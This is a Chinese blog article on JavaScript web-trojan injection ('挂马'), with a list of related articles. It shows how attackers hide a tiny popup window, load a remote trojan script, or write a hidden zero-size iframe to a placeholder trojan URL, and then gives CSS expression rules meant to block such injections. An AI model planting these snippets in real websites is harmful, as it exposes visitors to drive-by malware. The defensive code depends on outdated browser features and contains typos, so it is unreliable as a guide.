JS挂马攻防实录

  攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,
恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1),这种方法使用的关键代码如下:
  window.open("","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 
  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“”,但是设置为0后,可能会出现恶意代码不运行的情况。
  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。
这时黑客只需要在受害者的网站中写入:
  <script src="木马脚本.js"></script>
  或者
  document.write("<div style='display:none'>")

  document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")

  document.write("</div>")
   就成功地将木马挂到了对方的网页中了。   小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:<div >
或者<if rame src="vbscript:[挂马脚本]">等。   防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,
所以我们主要针对它进行防御。
方法就是阻止Src请求的异地外域的JS脚本,代码如下:
  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
   不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页(图2)。   所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,
这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,
Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
  <title></title>

  <style type="text/css" id="shudoo">

  /*<![CDATA[*/

  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

  script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}

  /*]]*/
  </style>

JS挂马攻防的更多相关文章

  1. 常见JS挂马方法及如何防止网站被黑客挂马?

    最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定.可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因.最后发现是网站被挂马了,导致网站被连累了.在此,借助马海祥博客的平台,给 ...

  2. Web挂马方式整理

    一:框架挂马 <iframe src=地址 width=0 height=0></iframe> 二:js文件挂马 首先将以下代码 document.write("& ...

  3. wordpress网站被挂马以及防御方法

    wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...

  4. ECMS清除挂马以及后台升级实战(从ecms6.6~ecms7.0)

    当时状况 Windows Server 2008 R2 Enterprise + 帝国CMS6.6 + MySql   server软件: Microsoft-IIS/7.5 操作系统: WINNT ...

  5. dedecms被挂马排毒的过程

    又经历了一次dedecms被挂马排毒的过程,排毒过程在这里跟大家分享一下. 挂马之后,网站的表现形式: 直接访问网站没有任何问题,从百度搜索的关键词访问网站,就跳转到另外一个网站. 根据我原来的排毒经 ...

  6. sqlserver防止数据库挂马新尝试

    想法不错,放着以后应该会有用 网站挂马非常让人头痛,每次的安全措施都是治标不治本,想找到根本原因,只能去分析你的程序源代码,由于很多网站不是一个程序员开发,很多的注入漏洞很难发现,曾经通过公共文件加入 ...

  7. Android WebView挂马漏洞--各大厂商纷纷落马

    本文章由Jack_Jia编写,转载请注明出处.   文章链接: http://blog.csdn.net/jiazhijun/article/details/11131891 作者:Jack_Jia ...

  8. 检测网站挂马程序(Python)

    系统管理员通常从svn/git中检索代码,部署站点后通常首先会生成该站点所有文件的MD5值,如果上线后网站页面内容被篡改(如挂马)等,可以比对之前生成MD5值快速查找去那些文件被更改,为了使系统管理员 ...

  9. 网站图片挂马检测及PHP与python的图片文件恶意代码检测对比

    前言 周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件.网管直接关了vsftpd,然后把警告导出邮件给我们. 取出部分大致如下: 服务器IP/名称 木马文件路径 更新 ...

随机推荐

  1. dos 批处学习笔记

    dos 批处理@ 只显示命令结果echo 回显pause 暂停del 删除set 查看系统变量>nul 正确命令输入空洞2>nul 错误命令输入空洞dir 显示目录和文件&& ...

  2. IIS同时实现网站部分使用https协议访问另一部分http访问

    一:什么是https SSL(Security Socket Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安全性,同 ...

  3. IL2CPP

    [官方教程] IL2CPP 深入讲解系列介绍 (汇总帖) http://forum.china.unity3d.com/forum.php?mod=viewthread&tid=8960&am ...

  4. xml解析技术

    本文总结Dom,sax解析,  使用Java作为工具解析xml文档. 1 Dom 综述:Dom解析xml通常也称为xmlDom (和htmlDom技术差不多),将xml文档封装成树,好处就是xml中的 ...

  5. C# Async, Await and using statements

    Async, Await 是基于 .NEt 4.5架构的, 用于处理异步,防止死锁的方法的开始和结束, 提高程序的响应能力.比如: Application area           Support ...

  6. maven+ssm+cxf3配置例子

    以下只是简单记录 ssm结合cxf3的配置 提供方配置::: pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0&quo ...

  7. Windows Defender无法开启问题

    针对Win8及以上系统: 按Win+R键,输入services.msc,下滑找到以W开头的Windows Defender相关项,右键在属性中设为自动并开启. (若1无法解决)按Win+R键,输入re ...

  8. word20161218

    QoS, Quality of Service / 服务质量 QoS Admission Control Service / QoS 许可控制服务 Quality of Service, QoS / ...

  9. 学习 opencv---(7) 线性邻域滤波专场:方框滤波,均值滤波,高斯滤波

    本篇文章中,我们一起仔细探讨了OpenCV图像处理技术中比较热门的图像滤波操作.图像滤波系列文章浅墨准备花两次更新的时间来讲,此为上篇,为大家剖析了"方框滤波","均值滤 ...

  10. AM335x kernel4.4.12 LCD 时钟翻转设置记录

    TI AM335x kernel 4.4.12 LCD display 时钟翻转记录 因为公司硬件上已经确定LCD 转LVDS 转换芯片上确认以上升沿时钟为基准,所以只能在软件上调整相关东西. 入口在 ...